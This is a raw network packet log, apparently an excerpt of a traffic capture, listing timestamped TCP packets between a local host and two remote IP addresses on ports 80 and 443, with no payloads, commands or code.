Dec 20, 2024 11:12:44.695774078 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.695820093 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.695868015 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.696679115 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.696741104 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.696782112 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.696829081 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.697621107 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.697684050 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.697757959 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.697810888 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.698627949 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.698693991 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.698733091 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.698765039 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.699589014 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.699681044 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.699703932 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.699733019 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.700603962 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.700659037 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.700774908 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.700826883 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.701630116 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.701683044 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.701751947 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.701803923 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.702642918 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.702708006 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.702749968 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.702799082 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.703691959 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.703752041 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.703829050 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.703975916 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.704591036 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.704648018 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.704679012 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.704725027 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.705539942 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.705615044 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.705650091 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.705709934 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.706548929 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.706607103 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.706680059 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.706789970 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.707592964 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.707711935 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.714478016 CET	443	49859	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:44.714549065 CET	49859	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:44.715900898 CET	49859	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:44.715905905 CET	443	49859	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:44.716147900 CET	443	49859	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:44.717545033 CET	49859	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:44.717545033 CET	49859	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:44.717570066 CET	443	49859	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:44.717619896 CET	49859	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:44.717623949 CET	443	49859	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:44.763641119 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.763708115 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.763761044 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.763812065 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.764177084 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.764236927 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.764245033 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.764441967 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.765120983 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.765177965 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.765232086 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.765279055 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.766135931 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.766216040 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.766232967 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.766464949 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.767118931 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.767168045 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.767220974 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.768066883 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.768111944 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.768176079 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.768178940 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.768244982 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.769089937 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.769151926 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.769196987 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.769229889 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.770164013 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.770226955 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.770292997 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.770442009 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.771538973 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.771595955 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.771625996 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.771677971 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.772619963 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.772682905 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.772819996 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.772885084 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.773693085 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.773746014 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.773791075 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.773843050 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.774643898 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.774698019 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.774745941 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.774807930 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.775541067 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.775598049 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.775628090 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.775682926 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.776495934 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.776549101 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.776609898 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.776660919 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.777347088 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.777404070 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.777457952 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.777579069 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.778265953 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.778280973 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.778337002 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.778337002 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.779021978 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.779098034 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.779232025 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.779309034 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.780059099 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.780116081 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.780157089 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.780251980 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.781006098 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.781090021 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.781158924 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.781371117 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.781985998 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.782044888 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.782135010 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.782186031 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.782984018 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.783044100 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.783091068 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.783150911 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.783984900 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.784054995 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.784101963 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.784149885 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.784977913 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.785031080 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.785078049 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.785131931 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.785953045 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.786000967 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.831779957 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.831897974 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.831904888 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.831944942 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.831945896 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.831962109 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.831994057 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.832025051 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.832758904 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.832808971 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.832825899 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.832876921 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.833743095 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.833802938 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.833929062 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.833990097 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.834738016 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.834789038 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.834839106 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.834897041 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.835737944 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.835779905 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.835836887 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.837779045 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.837802887 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.837850094 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.837887049 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.837905884 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.837954044 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.838710070 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.838823080 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.838824034 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.838920116 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.839694977 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.839776039 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.839818954 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.839869976 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.840735912 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.840816021 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.840847015 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.840907097 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.841664076 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.841712952 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.842663050 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.842777967 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.843183041 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.843214989 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.843672037 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.843784094 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.843839884 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.844638109 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.844690084 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.844759941 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.844805956 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.845628023 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.845690012 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.845784903 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.845837116 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.846667051 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.846725941 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.846728086 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.846786976 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.887432098 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.887476921 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.887532949 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.887907028 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.888000011 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.888019085 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.888077974 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.888936043 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.888997078 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.889024019 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.889180899 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.889885902 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.889966011 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.889985085 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.890121937 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.890883923 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.890949011 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.890980005 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.891031981 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.891840935 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.891908884 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.891966105 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.892028093 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.892903090 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.892959118 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.892998934 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.893093109 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.893918991 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.893980026 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.894052982 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.894143105 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.894890070 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.894943953 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.895041943 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.895463943 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.896233082 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.896305084 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.896310091 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.896428108 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.896811962 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.896852970 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.896912098 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.897824049 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.897878885 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.897927999 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.898133039 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.898822069 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.898884058 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.898962021 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.899033070 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.899787903 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.900021076 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.955784082 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.955935955 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.956005096 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.956264973 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.956384897 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.956442118 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.957292080 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.957350016 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.957360029 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.958022118 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.958242893 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.958302021 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.958343029 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.958398104 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.959239960 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.959285021 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.959296942 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.959343910 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.960283041 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.960341930 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.960361004 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.960414886 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.961232901 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.961293936 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.961302996 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.961343050 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.962199926 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.962280989 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.962337971 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.963190079 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.963275909 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.963346958 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.964185953 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.964246035 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.964293957 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.965187073 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.965249062 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.965293884 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.966200113 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.966203928 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.966264009 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.967197895 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.967235088 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.967288971 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.967288971 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.968247890 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.968468904 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.969185114 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.969252110 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.969300985 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.969926119 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.970139027 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.970258951 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.971175909 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.971237898 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.971246004 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.972132921 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.972259998 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.972321033 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.973289013 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.973386049 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.973454952 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.974147081 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.974425077 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.975121021 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.975203991 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.975231886 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.976111889 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.976226091 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.976281881 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.977078915 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.977191925 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.977257967 CET	49846	80	192.168.2.4	185.215.113.206
